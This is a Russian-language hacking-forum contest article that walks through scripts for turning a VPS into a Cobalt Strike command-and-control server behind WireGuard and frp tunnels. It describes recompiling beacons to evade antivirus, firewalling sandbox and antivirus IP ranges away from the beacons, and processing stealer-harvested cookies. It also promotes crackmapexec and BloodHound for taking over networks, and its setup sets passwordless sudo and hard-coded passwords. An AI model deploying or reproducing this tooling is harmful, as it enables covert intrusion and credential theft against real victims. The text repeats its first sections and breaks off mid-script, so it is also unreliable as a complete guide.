Автор x4k, для конкурса статей .is
# ПРИВЕТИКИ v2
## 1.Введение
В настоящее время информационная безопасность - это краеугольный камень существования корпорации, компании, бизнеса, различных госудраственных сфер, не обязательно связанных с ИТ. Сейчас трудно представить общество без компьютеров и сетей. Они окружают нас повсюду. Говорить об этом - можно долго. Читая условия конкурса и просмотрев работы тех, кто уже принял участие, мне не очень хотелось отвлекать людей от соревнования. После продления сроков, как и говорилось ранее, мы посовещались и решили немного прокачать пользователей.
Авторы многих статей написали об эксплоитах, о компиляции биконов и методах работы в интерфейсах безопаснсти WD, о порнографии, об уязвимостях нулевого дня, т.н. 0day и пр. Я мог бы поспорить о классификации, о методах и прочих мелочах, но я решил взять и написать статью, которая поможет обычному пользователю поднять собственную "лабораторию", в которой он сможет без труда (и, что самое главное, засыпать и просыпаться в хорошем настроении) испытывать метода проникновения в сети, исследовать "работы" разных авторов в этом направлении и делать много других вещей. В общем статья - о том, как превратить VPS в лабораторию пентеста с графическим интерфейсом и безопасной работой внутри.
Сначала это был один shebang скрипт, который вмещал в себя от и до. Многие возмутились, некоторые обвинили меня в использовании паблик-материалов и софта. Да, я действительно люблю и использую Linux. Лицензия распространения - OpenSource. Остальные пакеты - так же из репозитория Debian (Kali Linux). OpenSource. Куски кода - github (OpenSource). Мои куски кода и вообще исполнение - OpenSource. Если среди тех, кто читает эту OpenSource статью есть талантливые ребята с Private-софтом (суда по комментариям тут каждый второй с приватом) - напишите мне в PM. Обсудим все, что обсуждается ;-)
## 2.Установщик
Хотелось бы сначала сказать пару слов о конфигурации оборудования для комфортной работы системы: 12 процессоров, 48 ОЗУ и SSD - именно на такой машине запущена подобная система, в которой, помимо того, что описано в статье, так же запущены: BloodHound (помимо neo4j запущены так же парсеры для автоматического "приема" данных и загрузки в БД), запущен парсер (это очень большой и сложный скрипт), который работает в паре со стиллером, фильтрует и разбивает данные в удобные форматы, так же парсер "лечит" куки и сразу же генерирует их в netscape формате (куки в формате .json плохо "заходят", связано с наличием спецсимволов и т.н. escape символов, которые ломают БД), помимо этого запущены различные модули контратаки и активной защиты сервера. Одновременно работающих машин - 5. В общем такой конфиг будет оптимальным для работы до 5 одновременно запущенных машин.
После того, как мы клонировали репозиторий в папку /opt/ukn0w, у нас есть два варианта развития событий: установка сразу-же install.sh скриптом, либо компиляция репозитория в один удобный установщик (этим вариантом мы и воспользовались). После того, как скрипт выполнит работу, файл установщика окажется в корневой папке `/root/ukn0w.sh`, он исполняется как и любой другой исполняемый файл в Linux. После запуска я сделал удобный установщик, который задаст Вам несколько вопросов, проверит правильность настройки некоторых параметров и инициализирует установку системы на удаленном хосте. Вам остается только дождаться конца установки, попивая свой кофе перед экраном (?). Ну и чтобы не было лишних вопросов, я так же выкладываю видео установки от и до XD
## 3.hostInside
Итак разберем что внутри, что за зверь и с чем его едят? Начнем с подготовки VPS. Первое, что я сделал - это сменил Debian на Kali вместе с репозиториями, а так же правильно настроил hostname, /etc/hosts и /etc/hostname
Bash: Скопировать в буфер обмена
После, я добавил SWAP раздел, причем сделал это не по документации)) т.к. практически все провайдеры VPS не очень любят операции с разделами, да и вообще работа с жесткими дисками - это отдельный разговор. После свапа, я полностью обновил систему, установил необходимые пакеты а так же добавил x86 архитектуру, для корректной работы wine в целом
Bash: Скопировать в буфер обмена
После обновления и установки пакетов, зачастую случается так, что репозитории отказываются обновляться, выскакивают ошибки и прочее. Основная причина - рассинхронизация времени между "железной" частью сервера и предоставленными Вам мощностями. Помимо этого, я установил python2-pip, который активно деградирует и скоро полностью исчезнет из среды Linux. В репозитории Kali уже нет модуля pip для python2. Ну и конечно же, в числе первых вещей, которые необходимо изменить при инициализации подобных серверов (которые работают с большим количеством одновременно открытых файлов) - я изменил настройки ulimit
Bash: Скопировать в буфер обмена
Далее был установлен transfer.sh - служба, которая позволит нам быстро загружать на Ваш сервер любые типа файлов, как через web-интерфейс, так и с помощью curl. Сервис будет находится у нас на 4466 порту, соответственно для загрузки любого файла на сервер и получения ссылки, нам достаточно выполнить `curl --upload-file /path/to/file yourhostna.me:4466`. Настройки grub загрузчика так же подверглись изменениям в сторону увелечения безопасности сервера. Был установлен dnscrypt-proxy сервер, который будет шифровать наш UDP трафик и "раскидывать" его по разным dnscrypt-enabled серверам. Говорить о том, что у них (серверов) разные владельцы и страны расположения думаю будет излишне =)))
Bash: Скопировать в буфер обмена
Далее я сгенерировал letsencrypt ssl сертификат, который необходим для шифрования и "подписи" трафика, как нашим биконам, так и другим инструментам. Написал правило для запуска тимсервера как службы systemd и запустил службу. Это дало мне запуск сервера при загрузке VPS и перезагрузку в случае ошибок.
Bash: Скопировать в буфер обмена
Так как наша основная система и графическая оболочка работают в среде докера и вместо сети хоста используют защищенный канал wireguard, нам необходимо как-то "выташить" нужный порт наружу. Для этого я использовал frp (fast reverse proxy) как на хосте, так и внутри докера. На стороне хоста я так же создал и запустил frp в качестве службы systemd. Так же поправил файл suders (не безопасно, конечно, но очень удобно, да и к тому же проникновение на сервер линукс всегда подразумевает собой повышение локальных привелегий, поэтому я решил немного "расслабиться" и использовал такой чит)
Bash: Скопировать в буфер обмена
GVM из старого скрипта я решил заменить на acunetix. Контейнер полностью настроен и готов к работе. PatrowlHears будет установлен в случае Вашего согласия при первоначальной инициализации скрипта. Так же в этой "серверной" части, будет построен образ самой внутренней системы и установлен специальный скрипт, который будет блокировать доступ к нашему серверу всевозможных песочниц, антивирусов и ботов, которые призванны уменьшить эффективность и жизнерадостность наших биконов)
Bash: Скопировать в буфер обмена
... На этом подготовка хоста окончена, далее хочу подробнее разобрать что же творится внутри самой OS...
## 3.osInside
Вот мы и подобрались к самому интересному - к системе-контейнеру.
Как я и говорил ранее, система, как и другие контейнеры-инструменты будет работать через зашифрованный VPN нового поколения (впрочем "новизна" конечно сомнительна, лично я начал использовать его года 3 назад, ну а в ядро Linux его "прописали" в этом году, в отличии от ovpn, которому такие почести явно не светят, ввиду явной "халтурности" протокола - архивация с ключом шифрования. не буду тут рассказывать о "палевности" стека, отвратительной скорости работы и прочих радостях, которым прославился протокол openvpn, мы не об этом), точнее через сеть контейнера с запущенным wireguard. Я так же не буду тут копировать и вставлять официальный текст, картинки и прочую х#йню. Скажу лишь нескользко слов об этом чудесном протоколе. Помимо шифрования данных самыми современными алгоритмами, wg славится еще потрясающей скоростью работы, а так же "умением" передавать "через-себя" абсолютно любой вид трафика, в том числе тот, что нужен нам (и немного p0f ;-)). Так же он очень прост (и быстр) в подключении, его конфигурационные файлы понятны даже ребенку и состоят из нескольких значений. Вот оно - оружие 21 века (опять ремарка: лично для меня нет ничего красивее оружия - именно в нем нет ни одной лишней детали, а вся красота заключается в продуманности и функциональности каждой линии, выступа или кнопки).
Из-за того, что трафик будет шифроваться внутри сети, созданной специальным контейнером, "выход" к хосту, будет осуществлен, как я и говорил ранее, с помощью frp. Так как мы не давали докер-контейнеру привелегий управлять systemd, я написал специальный скрипт-загрузчик, который выглядит так:
Bash: Скопировать в буфер обмена
Ну а frp сервис так:
Bash: Скопировать в буфер обмена
Особенно сложных к пониманию моментов тут нет. OK. Контейнер будет построен с помощью Dockerfile и запакованного архива-установщика, который начнет свою работу автоматически после инициализации VPS. Первая часть, как всегда - установка необходимых пакетов и доустановку нужным нам с просторов Сети.
Bash: Скопировать в буфер обмена
Тут следует отметить, что golang (google language) намеренно взят с официального сайта, т.к. в репозитории Kali почему-то нет свежих версий. Так же был установлен PEzor и изменены начальные установки. Установлен он по двум причинам: первая и основная - в скрипте-установщике PEzor есть необходимые утилиты, такие как sgn, donut и wclang. вторая - конечно сам PEzor. Лично я не особенно люблю этот фреймворк, но кто-то всегда найдет тут что подсмотреть и потренироваться, хотя-бы в применении ReflectiveLoader. Тема - офигенно-крутая, инфы по ней море. Если ты более-менее собрался осваивать азы пентеста - изучи в первую очередь!
Bash: Скопировать в буфер обмена
Так же для удобства работы, мною были установлены zsh-шелл и различные дополнения, а так же мои обоины, чтобы не было скучно и однообразно, они будут меняться каждый ребут контейнера)) стандартные ls, nano, cat были заменены их современными версиями-имплементациями, мне лишь оставалось их настроить и установить. Что я и с удовольствием сделал) Так же были установлены иконки Papirus (на мой взгляд более яркие, чем те, что идут в комплекте с Kali), моя собственная тема в черных тонах. Если вдруг кому-то что-то не понравится (а таких, как показывает практика, д@хуя, из этого д@хуя процентов 95 - те, кто вообще не в курсе о чем разговор). Так же внутри графического интерфейса, при первом запуске firefox произойдет замена ESR версии на обычную, при этом установится (с небольшими моими модификациями) https://github.com/arkenfox/user.js/raw/master/user.js. Эти настройки лисы помогут Вам серфить анонимно и безопасно. Тема, опять-таки весьма объемна и материала по ней так же вагон и маленькая тележка, поэтому каждый сможет найти информацию по теме легко и непринужденно).
Bash: Скопировать в буфер обмена
## 4.csInside
При первой загрузке в графическую оболочку, выполните updatecs. Скрипт автоматически загрузит внушительный арсенал утилит для кобальт-страйка, произведет автоматическую обфускацию исполняемых файлов с помощью net-obfuscate, а так же перекомпилирует наши биконы с помощью TDM-GCC (получим минимум детектов). Всем неравнодушным советую поиграть с аргументами компилятора в файле /opt/cobaltstrike/artifactkit/winebuild.sh - практически без крови и пота можно достигнуть 0/77.
Конечно maleable c2profile относится больше ко второй главе (серверной части), но я кратко решил рассказать пару моментов именно тут. Единственная работа, которую интересно было читать - как раз про профили (точнее ее часть), так что очень советую обратить внимание именно на нее, лавры у автора отнимать совсем не хочется, видно что человек небезразличен к тематике. Просто хочу отметить тут, что для выживаемости сервера параметр "host stage" был выставлен на "false". Это обозначает что мы лишены возможности создания staged payloads, так как именно стейджер выдаст в Вашем сервере - кс, а так же позводит любому бикону подключиться к вашей системе. Рафаель полностью солидарен со мной (шутка конечно) и планирует совсем исключить возможность создания таких нагрузок в ближайших версиях CS, о чем он намекает нам при использовании c2lint.
Ну и последнее, что хочу рассказать и подсказать - это использовние и написание .cna скриптов и gui-скрипта, в связке с crackmapexec (смотрим github, штука - просто огонь) и SOCKS4 сервером, запущенным с помощью бикона, поимеем всю сеть условного вражины за короткий промежуток времени. Видео сего действия - у меня на ютуб канале. Ниже - сорс. На этом хочу закончить на такой ноте: не бойтесь эксперементировать, добавлять в мой скрипт свои части кода, в файл docker-compose - свои контейнеры. Это - всего лишь примитивный скелет Вашей лаборатории, где именно Вам известно, что нужно, а что нет. Еще хочу сказать, что вдохновили на эту статью люди, которые просто говорят спасибо в личке и комментариях. А так же admin этого форума. Именно его вежливость заставила меня написать первые материалы для .is Ни на одном другом форуме я больше не присутствую, да и вообще форуме - ... =) В общем всем хорошего настроения))))
Bash: Скопировать в буфер обмена
## 4.аКомпот?!
Забыл самое главное: сборка всего с помощью docker-compose. В папке /localhost на хосте есть одноименный файл, который выглядит примерно следующим образом:
C-подобный: Скопировать в буфер обмена
А так же файл up.sh
Bash: Скопировать в буфер обмена
Как несложно догадаться - компот - acunetix. Файл up.sh сохранит контейнер в его нынешнем состоянии и пересоздаст заново остальноые (пересоздаст контейнеры - не значит перестроит, имейте ввиду))))
Компот - клиент, для работы с графической оболочкой и приятными бонусами, в виде мультиплатформенности и значка-запуска в трее. Это electron-приложение, которое так же придаст слой "лука" нашей с Вами безопасности, да и к тому же жутко удобное в использовании. Компилируется на хосте командой makeclients, после чего выдает вам ссылку но загрузку версий под Windows и Linux. Да и вообще, я постарался сделать установщик максимально простым и информативным... Понравилось, только честно?)
Прочитать на белом фоне (а самые внимательные уже давно прочитали и установили, ведь все это "висело" у меня в подписи) можно по адресу: https://x4k.tools XD
Обновление: 29 июля
Итак, как я и обещал - годная статья - выкладываю патч XD. Давайте на эту же тему) Итак:
V2.1 - BloodHound
БладХаунд - легендарная собака, многие хотели, но не смогли.
Если сказать проще - позволяет без боли, унижений, а главное кучи потраченного времени на ковыряние сети получить "Главный Приз". Итак, основная его действующая часть, которая инициализируется до запуска клиента кс.
Bash: Скопировать в буфер обмена
И простейший алиас запуска в терминале бикона:
Java: Скопировать в буфер обмена
/usr/local/bin/cobalstrike был изменен таким образом:
Bash: Скопировать в буфер обмена
Теперь, все, что Вам необходимо сделать: получить АдминАккаунт и выполнить в консоли бикона
Помимо >@ изменению подверглись многие аспекты "скрипта", увидеть полный и подробный список которых Вы можете в последнем коммите. XD
Очень хочется отметить, что все это протестировано, опробовано и заснято на видео, которое я покажу немного позже ;-) Конкурс (и мой тоже) продолжается ;-)
# ПРИВЕТИКИ v2
## 1.Введение
В настоящее время информационная безопасность - это краеугольный камень существования корпорации, компании, бизнеса, различных госудраственных сфер, не обязательно связанных с ИТ. Сейчас трудно представить общество без компьютеров и сетей. Они окружают нас повсюду. Говорить об этом - можно долго. Читая условия конкурса и просмотрев работы тех, кто уже принял участие, мне не очень хотелось отвлекать людей от соревнования. После продления сроков, как и говорилось ранее, мы посовещались и решили немного прокачать пользователей.
Авторы многих статей написали об эксплоитах, о компиляции биконов и методах работы в интерфейсах безопаснсти WD, о порнографии, об уязвимостях нулевого дня, т.н. 0day и пр. Я мог бы поспорить о классификации, о методах и прочих мелочах, но я решил взять и написать статью, которая поможет обычному пользователю поднять собственную "лабораторию", в которой он сможет без труда (и, что самое главное, засыпать и просыпаться в хорошем настроении) испытывать метода проникновения в сети, исследовать "работы" разных авторов в этом направлении и делать много других вещей. В общем статья - о том, как превратить VPS в лабораторию пентеста с графическим интерфейсом и безопасной работой внутри.
Сначала это был один shebang скрипт, который вмещал в себя от и до. Многие возмутились, некоторые обвинили меня в использовании паблик-материалов и софта. Да, я действительно люблю и использую Linux. Лицензия распространения - OpenSource. Остальные пакеты - так же из репозитория Debian (Kali Linux). OpenSource. Куски кода - github (OpenSource). Мои куски кода и вообще исполнение - OpenSource. Если среди тех, кто читает эту OpenSource статью есть талантливые ребята с Private-софтом (суда по комментариям тут каждый второй с приватом) - напишите мне в PM. Обсудим все, что обсуждается ;-)
## 2.Установщик
Хотелось бы сначала сказать пару слов о конфигурации оборудования для комфортной работы системы: 12 процессоров, 48 ОЗУ и SSD - именно на такой машине запущена подобная система, в которой, помимо того, что описано в статье, так же запущены: BloodHound (помимо neo4j запущены так же парсеры для автоматического "приема" данных и загрузки в БД), запущен парсер (это очень большой и сложный скрипт), который работает в паре со стиллером, фильтрует и разбивает данные в удобные форматы, так же парсер "лечит" куки и сразу же генерирует их в netscape формате (куки в формате .json плохо "заходят", связано с наличием спецсимволов и т.н. escape символов, которые ломают БД), помимо этого запущены различные модули контратаки и активной защиты сервера. Одновременно работающих машин - 5. В общем такой конфиг будет оптимальным для работы до 5 одновременно запущенных машин.
git clone https://github.com/l4ckyguy/ukn0w --depth 1 /opt/ukn0w ; cd /opt/ukn0w ; ./build.sh
После того, как мы клонировали репозиторий в папку /opt/ukn0w, у нас есть два варианта развития событий: установка сразу-же install.sh скриптом, либо компиляция репозитория в один удобный установщик (этим вариантом мы и воспользовались). После того, как скрипт выполнит работу, файл установщика окажется в корневой папке `/root/ukn0w.sh`, он исполняется как и любой другой исполняемый файл в Linux. После запуска я сделал удобный установщик, который задаст Вам несколько вопросов, проверит правильность настройки некоторых параметров и инициализирует установку системы на удаленном хосте. Вам остается только дождаться конца установки, попивая свой кофе перед экраном (?). Ну и чтобы не было лишних вопросов, я так же выкладываю видео установки от и до XD
## 3.hostInside
Итак разберем что внутри, что за зверь и с чем его едят? Начнем с подготовки VPS. Первое, что я сделал - это сменил Debian на Kali вместе с репозиториями, а так же правильно настроил hostname, /etc/hosts и /etc/hostname
Bash: Скопировать в буфер обмена
Code:
home="$(pwd)" ; hname="yourhostna.me" ; hostname "$hname" ; echo "$hname" > /etc/hostname ; echo 127.0.0.1 localhost > /etc/hosts ; echo "$(wget -qO- ipinfo.io/ip)" "$hname" >> /etc/hosts
wget -O /tmp/ka.deb https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb ; sleep 1 ; dpkg -i /tmp/ka.deb
echo 'deb http://kali.download/kali kali-rolling main non-free contrib' > /etc/apt/sources.list ; sleep 10 ; while [[ -n "$(wget -O /tmp/dummy https://repo.x4k.dev/dummy)" ]] ; do sleep 1; done
После, я добавил SWAP раздел, причем сделал это не по документации)) т.к. практически все провайдеры VPS не очень любят операции с разделами, да и вообще работа с жесткими дисками - это отдельный разговор. После свапа, я полностью обновил систему, установил необходимые пакеты а так же добавил x86 архитектуру, для корректной работы wine в целом
Bash: Скопировать в буфер обмена
Code:
#swap
dd if=/dev/zero of=/swapfile2 bs=1G count=8 ; mkswap /swapfile2 ; chmod 600 /swapfile2 ; swapon /swapfile2
echo '/swapfile2 none swap sw,pri=10 0 0' >> /etc/fstab ; rm /etc/motd &>/dev/null
#upgrade
apt-get update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" ; touch /root/.hushlogin
#packages
apt-get -f -y install certbot ipset curl sudo nodejs npm jq golang git unzip python certbot openjdk-11-jdk python2-dev python2 python3-pip python3-dev make \
htop dnsutils net-tools curl wget zip calc wireguard screen p7zip-full docker.io docker-compose inotify-tools kali-defaults kali-linux-core python-is-python2 \
ntp wine64 wine nano imagemagick -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" ; systemctl enable docker ; systemctl start docker
apt-get -y purge apache2
#wine32
dpkg --add-architecture i386 ; apt-get update ; apt-get -y install wine32
После обновления и установки пакетов, зачастую случается так, что репозитории отказываются обновляться, выскакивают ошибки и прочее. Основная причина - рассинхронизация времени между "железной" частью сервера и предоставленными Вам мощностями. Помимо этого, я установил python2-pip, который активно деградирует и скоро полностью исчезнет из среды Linux. В репозитории Kali уже нет модуля pip для python2. Ну и конечно же, в числе первых вещей, которые необходимо изменить при инициализации подобных серверов (которые работают с большим количеством одновременно открытых файлов) - я изменил настройки ulimit
Bash: Скопировать в буфер обмена
Code:
#timedate issue
systemctl restart ntp.service
cat<<'EOF'>>/etc/ntp.conf
server 0.ubuntu.pool.ntp.org
server 1.ubuntu.pool.ntp.org
server 2.ubuntu.pool.ntp.org
server 3.ubuntu.pool.ntp.org
EOF
ntpq -p ; timedatectl set-local-rtc 1 ; hwclock --systohc ; sleep 5
#pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py
#ulimit
echo 'session required pam_limits.so' >> /etc/pam.d/common-session
cat<<'EOF'>/etc/security/limits.conf
* soft nofile 655350
* hard nofile 655350
root soft nofile 655350
root hard nofile 655350
EOF
Далее был установлен transfer.sh - служба, которая позволит нам быстро загружать на Ваш сервер любые типа файлов, как через web-интерфейс, так и с помощью curl. Сервис будет находится у нас на 4466 порту, соответственно для загрузки любого файла на сервер и получения ссылки, нам достаточно выполнить `curl --upload-file /path/to/file yourhostna.me:4466`. Настройки grub загрузчика так же подверглись изменениям в сторону увелечения безопасности сервера. Был установлен dnscrypt-proxy сервер, который будет шифровать наш UDP трафик и "раскидывать" его по разным dnscrypt-enabled серверам. Говорить о том, что у них (серверов) разные владельцы и страны расположения думаю будет излишне =)))
Bash: Скопировать в буфер обмена
Code:
#transfer.sh
wget -O /usr/local/bin/transfer.sh $(curl -sL https://api.github.com/repos/dutchcoders/transfer.sh/releases/latest | grep linux-amd64 \
| grep browser_download_url | head -1 | cut -d \" -f 4) && chmod +x /usr/local/bin/transfer.sh
cat<<'EOF'>/etc/systemd/system/transfer.service
[Unit]
Description=transferr
[Service]
ExecStart=sudo transfer.sh --listener 0.0.0.0:4466 --temp-path /tmp/ --provider local --basedir /tmp --purge-interval 1
WorkingDirectory=/tmp
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
#grub
cat<<'EOF'>/etc/default/grub
GRUB_DEFAULT=0
GRUB_TIMEOUT=0
GRUB_CMDLINE_LINUX_DEFAULT="elevator=noop ipv6.disable=1 net.ifnames=0 apparmor=1 security=apparmor mce=0 page_poison=1 pti=on mds=full,nosmt audit=1 components union=overlay vsyscall=none init_on_alloc=1 init_on_free=1 l1tf=full,force spectre_v2=on spec_store_bypass_disable=seccomp extra_latent_entropy quiet"
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz"
EOF
update-grub
#DNS-server
mkdir /tmp/dns && cd /tmp/dns
wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url \
| head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/ ; mv /tmp/linux-x86_64/* /opt/dnscrypt-proxy/ ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/ \
; systemctl disable systemd-resolved ; dnscrypt-proxy -service install ; dnscrypt-proxy -service start
cd ~ ; rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
cat<<'EOF'>/etc/rc.local
#!/bin/bash
dnscrypt-proxy -service uninstall ; dnscrypt-proxy -service stop
chattr -i /etc/resolv.conf ; echo nameserver 1.0.0.1 > /etc/resolv.conf
dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; sleep 3
echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
sleep 4 ; cd /localhost ; ./up.sh
EOF
chmod +x /etc/rc.local
Далее я сгенерировал letsencrypt ssl сертификат, который необходим для шифрования и "подписи" трафика, как нашим биконам, так и другим инструментам. Написал правило для запуска тимсервера как службы systemd и запустил службу. Это дало мне запуск сервера при загрузке VPS и перезагрузку в случае ошибок.
Bash: Скопировать в буфер обмена
Code:
#cobaltstrike section
cd /opt/cobaltstrike ; rm cobaltstrike.store ; gencert
cat<<'EOF'>/usr/local/bin/ts
#!/bin/bash
cd /opt/cobaltstrike ; hname="$(hostname)"
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=41447 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=XHOSTPASSWORD -server -XX:+AggressiveHeap \
-XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer "$(dig $hname +short A)" XHOSTPASSWORD url.profile "$(date --date='1 year' -u +'%Y-%m-%d')"
EOF
chmod +x /usr/local/bin/ts
cat<<'EOF'>/etc/systemd/system/teamserver.service
[Unit]
Description=teamserver
[Service]
ExecStart=sudo /usr/local/bin/ts
WorkingDirectory=/opt/cobaltstrike
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
systemctl enable teamserver ; systemctl start teamserver
Так как наша основная система и графическая оболочка работают в среде докера и вместо сети хоста используют защищенный канал wireguard, нам необходимо как-то "выташить" нужный порт наружу. Для этого я использовал frp (fast reverse proxy) как на хосте, так и внутри докера. На стороне хоста я так же создал и запустил frp в качестве службы systemd. Так же поправил файл suders (не безопасно, конечно, но очень удобно, да и к тому же проникновение на сервер линукс всегда подразумевает собой повышение локальных привелегий, поэтому я решил немного "расслабиться" и использовал такой чит)
Bash: Скопировать в буфер обмена
Code:
#frp - expose noVNC port
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frps /usr/bin/
cat<<'EOF'>/usr/local/bin/frps.ini
[common]
bind_port = 7000
EOF
cat<<'EOF'>/etc/systemd/system/frps.service
[Unit]
Description=Frp Server Service
After=network.target
[Service]
Type=simple
User=root
Restart=on-failure
RestartSec=5s
ExecStart=/usr/bin/frps -c /usr/local/bin/frps.ini
[Install]
WantedBy=multi-user.target
EOF
systemctl enable frps ; systemctl start frps
#sudoers
cat<<'EOF'> /etc/sudoers
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
root ALL=(ALL) NOPASSWD: ALL
gvm ALL=(ALL) NOPASSWD: ALL
%sudo ALL=(ALL) NOPASSWD: ALL
@includedir /etc/sudoers.d
EOF
GVM из старого скрипта я решил заменить на acunetix. Контейнер полностью настроен и готов к работе. PatrowlHears будет установлен в случае Вашего согласия при первоначальной инициализации скрипта. Так же в этой "серверной" части, будет построен образ самой внутренней системы и установлен специальный скрипт, который будет блокировать доступ к нашему серверу всевозможных песочниц, антивирусов и ботов, которые призванны уменьшить эффективность и жизнерадостность наших биконов)
Bash: Скопировать в буфер обмена
Code:
#acun
docker pull 0x4k/acunetix
#PATROWL
function installpatrowl() {
sleep 20 ; cd /opt ; git clone https://github.com/Patrowl/PatrowlHears ; cd /opt/PatrowlHears ; docker-compose up -d
docker-compose exec patrowlhears bash -c 'cd backend_app && ./load_init_data.sh'
docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'
(crontab -l | grep . ; echo -e "* * */1 * * cd /opt/PatrowlHears && docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'") | crontab -
}
#installpatrowl
#super_os
/etc/init.d/docker restart ; sleep 2 ; cd /opt ; docker build -t kali_suos .
printf "\n\n\033[1;33mЧищу, мою, убираю. Ставлю антипесочницу и перезагружась..\n\033[0m"
sleep 4 ; apt-get -y autoremove ; apt autoclean
#badboyz
function bbinstall() {
cat<<'EOF'>/usr/local/bin/goodboyz
#!/bin/bash
ipset -q flush goodboyz ; ipset -q create goodboyz nethash
for ip in $(curl -s https://gist.githubusercontent.com/curi0usJack/971385e8334e189d93a6cb4671238b10/raw | \
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"); \
do ipset add goodboyz $ip ; done
iptables -A INPUT -m set --match-set goodboyz src -j DROP
iptables -A FORWARD -m set --match-set goodboyz src -j DROP
EOF
chmod +x /usr/local/bin/goodboyz ; goodboyz
}
bbinstall
sudo -u root reboot
... На этом подготовка хоста окончена, далее хочу подробнее разобрать что же творится внутри самой OS...
## 3.osInside
Вот мы и подобрались к самому интересному - к системе-контейнеру.
Как я и говорил ранее, система, как и другие контейнеры-инструменты будет работать через зашифрованный VPN нового поколения (впрочем "новизна" конечно сомнительна, лично я начал использовать его года 3 назад, ну а в ядро Linux его "прописали" в этом году, в отличии от ovpn, которому такие почести явно не светят, ввиду явной "халтурности" протокола - архивация с ключом шифрования. не буду тут рассказывать о "палевности" стека, отвратительной скорости работы и прочих радостях, которым прославился протокол openvpn, мы не об этом), точнее через сеть контейнера с запущенным wireguard. Я так же не буду тут копировать и вставлять официальный текст, картинки и прочую х#йню. Скажу лишь нескользко слов об этом чудесном протоколе. Помимо шифрования данных самыми современными алгоритмами, wg славится еще потрясающей скоростью работы, а так же "умением" передавать "через-себя" абсолютно любой вид трафика, в том числе тот, что нужен нам (и немного p0f ;-)). Так же он очень прост (и быстр) в подключении, его конфигурационные файлы понятны даже ребенку и состоят из нескольких значений. Вот оно - оружие 21 века (опять ремарка: лично для меня нет ничего красивее оружия - именно в нем нет ни одной лишней детали, а вся красота заключается в продуманности и функциональности каждой линии, выступа или кнопки).
Из-за того, что трафик будет шифроваться внутри сети, созданной специальным контейнером, "выход" к хосту, будет осуществлен, как я и говорил ранее, с помощью frp. Так как мы не давали докер-контейнеру привелегий управлять systemd, я написал специальный скрипт-загрузчик, который выглядит так:
Bash: Скопировать в буфер обмена
Code:
#!/bin/bash
x2="p@ssw0rd" ; x4="p@ssw0rd" ; echo root:$x2 | chpasswd ; mkdir -p /root/.vnc ; echo $x4 | vncpasswd -f > /root/.vnc/passwd ; cusw
chmod 600 /root/.vnc/passwd ; rm -r /tmp/* ; rm -r /root/Downloads/* /root/.zsh_history /root/.zcomp* /root/.ssh/known_hosts /root/.vnc/*.pid /root/.vnc/*.log /tmp/.X11-unix/X1 /tmp/.X1-lock
unset x1 x2 x4 ; sleep 1 ; sudo chown root:messagebus /usr/lib/dbus-1.0/dbus-daemon-launch-helper ; sudo chmod 4754 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared ; sleep 3
while [ -z "$(netstat -antp | grep tiger)" ] ; do vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared ; sleep 1 ; done
cd /usr/share/noVNC/utils ; ./novnc_proxy --listen 127.0.0.1:6081 --vnc 127.0.0.1:5901 &
cat<<EOF>/usr/share/applications/patrowl.desktop
[Desktop Entry]
Name=spiderfoot
Encoding=UTF-8
Exec=firefox http://$HOSTNAME:8383
Icon=balena-etcher-electron
StartupNotify=false
Terminal=false
Type=Application
EOF
frpc -c /usr/local/bin/frpc.ini &
killall tigervncconfig ; chmod 1777 /tmp
spiderfoot -l 127.0.0.1:53137
Ну а frp сервис так:
Bash: Скопировать в буфер обмена
Code:
#frp
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frpc /usr/bin/
cat<<EOF>/usr/local/bin/frpc.ini
[common]
server_addr = XHOSTNAME
server_port = 7000
[vnc]
type = tcp
local_ip = 127.0.0.1
local_port = 6081
remote_port = 6080
use_compression = true
EOF
Особенно сложных к пониманию моментов тут нет. OK. Контейнер будет построен с помощью Dockerfile и запакованного архива-установщика, который начнет свою работу автоматически после инициализации VPS. Первая часть, как всегда - установка необходимых пакетов и доустановку нужным нам с просторов Сети.
Bash: Скопировать в буфер обмена
Code:
export DEBIAN_FRONTEND=noninteractive
apt-get -y update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
